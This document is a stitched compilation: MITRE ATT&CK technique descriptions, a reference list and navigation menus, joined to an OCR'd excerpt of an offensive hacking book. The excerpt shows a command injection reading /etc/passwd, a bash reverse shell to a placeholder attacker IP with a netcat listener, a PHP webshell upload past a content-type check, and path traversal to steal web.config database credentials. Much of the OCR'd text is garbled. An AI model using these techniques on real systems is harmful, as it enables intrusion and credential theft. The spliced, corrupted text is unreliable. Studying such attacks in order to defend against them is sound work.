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events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process (particularly known malicious ones), or that have the same file name but abnormal paths (e.g., loaded from a user-writable directory rather than a system one). Monitor DLLs loaded from remote locations. DS Process Process Creation Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. References - Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025. - Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025. - Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025. - Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025. - Hexacorn. (2013, December 8). Beyond good ol’ Run key, Part 5. Retrieved August 14, 2024. - falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs — and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025. - Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025. - OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025. - Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025. - Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018. - Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016. - Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016. - Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018. - Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. - Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019. - Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020. - Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. - Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024. - Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022. - CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024. - GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020. - Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, - Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016. - Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018. - Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016. - Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021. - Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019. - Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020. - Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023. - Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021. - Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024. - Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022. - Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023. - Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023. - Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023. - Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021. - Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021. - Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020. - Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024. - Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024. - Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024. - ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. - Red Canary. (2021, February 9). Dridex - Red Canary Threat Detection Report. Retrieved August 3, 2023. - Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022. - GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021. - Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020. - Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. - Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021. - Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023. - FinFisher. (n.d.). Retrieved September 12, 2024. - Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018. - Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018. - Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021. - Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. - Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018. - PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021. - Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024. - Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016. - Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. - Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. - Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021. - Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. - Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021. - Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024. - AhnLab ASEC. (2022, October 6). Lazarus Group Uses the DLL Side-Loading Technique (mi.dll). Retrieved January 7, 2025. - Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024. - Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021. - Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022. - Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022. - Cybereaon Security Services Team. (n.d.). Your Data Is Under New Lummanagement: The Rise of LummaStealer. Retrieved March 22, 2025. - PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. - Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. - Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020. - PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. - SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023. - Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. -
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techniques_T1574_001.txt
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Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration. . Electron Applications Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code. T System Script Proxy Execution Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems. . PubPrn Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com. . SyncAppvPublishingServer Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V). For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally. T Template Injection Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. T Traffic Signaling Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. . Port Knocking Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. . Socket Filters Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. T Trusted Developer Utilities Proxy Execution Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. . MSBuild Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations. T Unused/Unsupported Cloud Regions Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. T Use Alternate Authentication Material Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. . Application Access Token Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. . Pass the Hash Adversaries may "pass the hash" using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. . Pass the Ticket Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. . Web Session Cookie Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. T Valid Accounts Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. . Default Accounts Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes. . Domain Accounts Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services. . Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. . Cloud Accounts Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. T Virtualization/Sandbox Evasion Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects
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versions_v15_tactics_TA0005.txt
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most-used subdomains to fuel the search process: Extranet.sph-assets.com, Lync.sph-assets.com, mail.sph-assets.com, etc. root@kali:~# dnsrecon -d sph-assets.com -t brt -D wordlists/domains short.txt Once we compile a nice list of domains and IP addresses, we query centralops.net again to see which ones really sit in an IP range owned by SPH^. For the purposes of our scenario, let us assume that SPH’s public IPs are all located on the rather small subnet 172.31.19.0/25^, which hosts the following web applications: • Up.sph-assets.com • Career.sph-assets.com • Info.sph-assets.com • Catalog.sph-assets.com 2.2.2. Web applications Now that we have a list of URLs, the next step is to poke around these websites looking for web vulnerabilities that can be leveraged to execute code on the server. Tip: looking for web vulnerabilities requires inspecting all parameters sent to the server. In order to do so properly, tools like Burp Suited or ZAP are most helpful. They intercept every HTTP request and alter the content of the HTML page to bypass some rudimentary protections like hidden fields, unprotected fields, etc. They also give a good overview of all the parameters handled by the website, which translates into more input we can potentially inject with malicious code. 1) up.sph-assets.com The first website is rudimentary and only offers the feature of testing whether a server is up or not. It strikes me as a small utility put together by a hasty admin who wanted to perform his duties on a lazy Sunday afternoon, comfortably from home. As you may notice, the result of the output bears a striking resemblance to the output of the ping command on a Linux system 1 ^ 1 . It simply sends probes to distant servers and waits for replies. :-9 ping google.co PING google.com (172.217.19.142) 56(84] bytes of data. 64 bytes from parQ3sl2-in-fl42.lel90.net (172.217.19.142): icmp_seq-l ttl« 64 bytes from par03sl2-in-fl42.lel90.net (172.217.19.142): icmp_seq-2 ttl* — google.com ping statistics — 2 packets transmitted, 2 receiuad, 0% packet loss, tine 1001ms rtt mln/avg/max/mdgv = 4.737/5.749/6.762/1.915 ms Maybe, just maybe, the website uses our input (the domain name entered) to create an ICMP request on Linux and gives us back the result. On PHP, it would theoretically go something like this: <?php system("ping -cl ",$_GET['host')]; ?> If our input - the $_GET[’host’] variable - is concatenated without any kind of protection as in the example above, we can trick the web application into executing additional system commands. To do that, we need to add a concatenation character like *&’ (‘&&’, even ‘|’ will work). The following input, for instance, if the website is indeed vulnerable, will successfully list users in addition to performing the ping command: www.google.com; cat /etc/passwd Interesting! Let’s try something a bit niftier. How about a one-line 1 ^ reverse shell that gives us interactive access to the machine: www.google.com; bash-i >& /dev/tcp/FRONT_GUN_IP/443 0>& On our gun server, we only need to run a simple listener, like Netcat, to receive the incoming shell from a distant server: nc -l o iid*33<www-da».el -data! grotp5«33|t**-datal mw- dat a#»€BSEavER03:-/htnl$ We are in! You can jump to Section 4 if you want to see how to leverage this low-level access to perform a wide-scale meltdown, but for the sake of completeness, let us check other websites and seek for other hidden treasures. Note: This was a pretty simplistic example to warm up, but it lays the foundation of remote code execution. Check out the vulnerability on phpmailer, which follows the same spirit: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec- CVE-2016- 10033-Vuln.html 2) career.sph-assets.com Like any other company, SPH needs to recruit talent to expand its business. The career website serves such a purpose by allowing wannabe employees to upload their resume. Obviously, when uploading a document, the go-to format is PDF, but what if we try uploading a file containing code, like PHP/JSP or ASP 1 ^? Send us your resume Post a resume today and make the big Chooee File No file chosen Make Your Resume Searchable A OwOr** • Documents ^CePC to Bureau » Documents k Images J Mutiquv ftk.tecervedphp Well, nothing much really We get a nice error from the website saying that any format other than PDF is forbidden. The web application must be performing a few checks to confirm the file type before accepting it. Our goal, then, is to trick the website into thinking it received a PDF file, while in fact it was a dirty PHP code executing system commands on the server. If we intercept HTTP request sent when uploading a document, using Burp or Zap, we can see that the browser sends the file type ‘application/octet-stream’ along with its content: POST • NTT? I Heat mr* server-up. local Uset-Agent: ftorilla/6.0 •Bludovs NT IO.Oj BO¥e4; rvitB.O) Oecfc©/20100101 Flretox. 40 Accept: SMC 'httfl. applteatlon/xhtMleml, application/ml;•/ •; 4*0. Accept-Learjuaja : tt,t r-FR; j“0. 8 , •» C3; 4 * 1 ).&,«a;q«d.l Accept-encoding: QXip, clef let* peferer- http «w. weever -up. local / up load Connection; close Upgrade-Insecure-Peq-uesta: i Content - Type. nult ipait ' font- data. boundary*——————————— Content Length: 2l - Content-0 ivpov tt l<- n : Vrp-1»T«; nw' , tll«TM|plo«d a J (UlMM 0 *fll4 r»<-*ived php* n/oct>et- 8 tre«r it • nsec <_0ET( and’ ; • i i eye ten. I_C£T[ cm1'1>: -1441447041472— Let’s change the ‘Content-Type’ header into ‘application/pdf, then forward the request to the server. Notice that we did not alter the file’s ‘.php’ extension. Success File uploaded successfully ' Close Brilliant! Our file passes the security check, proving that the website relies solely on the content-type header. Our code is, therefore, sitting somewhere on the server. It is a simple script that executes any command received through the ‘cmd’ parameter, but to execute it, we need to figure out where exactly it is located and access it through the browser. Sometimes this part can be very tricky, and other times the website is kind enough to spell out the full URL, provided we take the time to look carefully. In this case for instance, the file’s URL is hidden in the source code of the congratulation page (Ctrl+uonFirefox/Chrome): </«iv> </div> <dlv ditn'bd' > '4fMa~url~ ic»*r9su»9_url" tyf>e»*h:dd«n'l^*f-Jj£lo»d/staTic^filts^fil^j^*c«^«dj)h£^^J <div cla?s»*bS • a id«"ctiee ctl99 ctiee body 5«*rchConty>olsS»itcf»r eo*»«rSt»rthCofitrol afr<S«archLi/> ‘ tabinj*.-*5" • • • tt;. • _r-. r-•••■- • •- .».r < ' Adinan'i « <• hre*.* j*v#jcript void:9:' id* *ctl90_rtl99_ctl99_tx>d> _ sg»rchCortroUSwit<b«r pou»-^<rcHCont^ol b btUMc* jnt«'*brows«]cfc5Link* ti*l««*BrowS9 3obs*>Bron?« </div> _ Once we access the PHP script^ 1 , we can execute arbitrary system commands and ultimately get a reverse shell like in the previous chapter: There are many available ‘webshell scripts’ on the internet that offer a great deal of features: nice graphical interfaces, database support, file browsers, etc. However, many of them may come with hidden trapdoors that offer other hackers a free ride. So beware of all the C99 or R57 shells out there. Keep it nice and simple. 3) info.sph-assets.com This website appears to give some basic information about the history of the company and a few financial numbers to attract investors. Going through the links with Burp Proxy, we notice an interesting request that fetches a PDF report: R «qu«*! C£T .fhp D»4/cont«nf /acUvit|_rtporl. pdf HTTP/1 Most inf* sph ftssets It User-iflent MmUa/5 0 <*11: Linw* i«6. Oi Gecko/WIOOIOL FifjrfM/R 0 Iceveasel/38-4 *rr*pi : t • it ht•! , »ppi tHtMn/lIrtal * i»l »pplic*t ion/tat ;^O. 9, */•; q*D Accept L*'>iu«gc «n US,«n:q-6.S Accept Encoding grip deflate Connectie*v close We can infer that the location of the file is used in an ‘open’ function to read the report, then display its content to users. Our first reflex as a keen hacker is to trick the website into opening other files on the system. But which ones? And where are they on disk? Let’s take it step-by-step, shall we? First, figure out which kind of operating system we are dealing with. A simple look at the HTML source code tells us we are talking to a Windows server: AXD and ASPX files are classic telltale signs of a Microsoft IIS Webserver: < script src.'‘ /gtt. Hab-'laet]Resource.ixd>ri.2QsIiX\&2ItH6ErL-DF"b type." text/javascript” X/script> "ipt / gtt.M«.'$<riftPt;surc«,leO^-QCc'p-v.e- -in'-C - .1 • D5 i f .»iI«H<-.-.i-1. t<_ - - t+i ans:cseu«pit»##fffff<?•»;.• •••■• • - - ‘.script sre* aAlbSnCLJSClafSHy/^pHtiiiUUlui'ft/^ifrifDSf f.-ipt 4f. . tb. iiriftPt-.fjr r . e . a 't s -;Ca- „/ - ‘.r'r j'/THE j£ -.be * ;< 3 — ..'tisni t ■ st'ipt gt; .tJ«b. i-.ecR«s»jrci. ».l J CaC5£-2fv-i.67;f5vTa8PPjj;:ioe/c:si't rn^viatij-a-Movi Then of course, there are the website’s HTTP headers, which make it even more obvious: J B*n ] Htad»™ J H«* ] HTML ] BpfidPr | _ HTTP/1 1 200 r.¥ Ci<h«•Cont rol: p r 1 vtt« Sflfilinl Im _le«t ihRfstt-aif- Server Microsoft-IIS/7.5 -G** a*'P NfT t ■ i ->• T-1-I bi 1 -III'* > rn i / it' - 1 pvt ll" Htt§CM | Oote Thu. 05 Jen 2017 22 2d:14 GKT Connection close Content-Length IIS’ configuration is stored in the ‘web.config’ file, usually one or two directories above the main web page. Let’s request that file then: www.sph-assets.com/get_static.php?image=. ./../web.config • configuration sc*#««s Microsoft.cosy.Utt€oft*ifia'*atiofv v2.8* > <appS«tting»/> * connectionString*> ■add rvantv'ZnfoOl* eow»{tionSti‘in|»' , t«rv»r < Hftl,OXia>»> «> iaort»jl;Mr Z*«Ad*in; p«fttword*lftfo#lW»Q,«r pro\id«rlMN« M Syit«ai tetl.mCliant* /> </connect ionSt r inf % > </confifuration> < system. >«b> As you can see, we get the database
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How to Hack Like a PornStar_djvu.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID 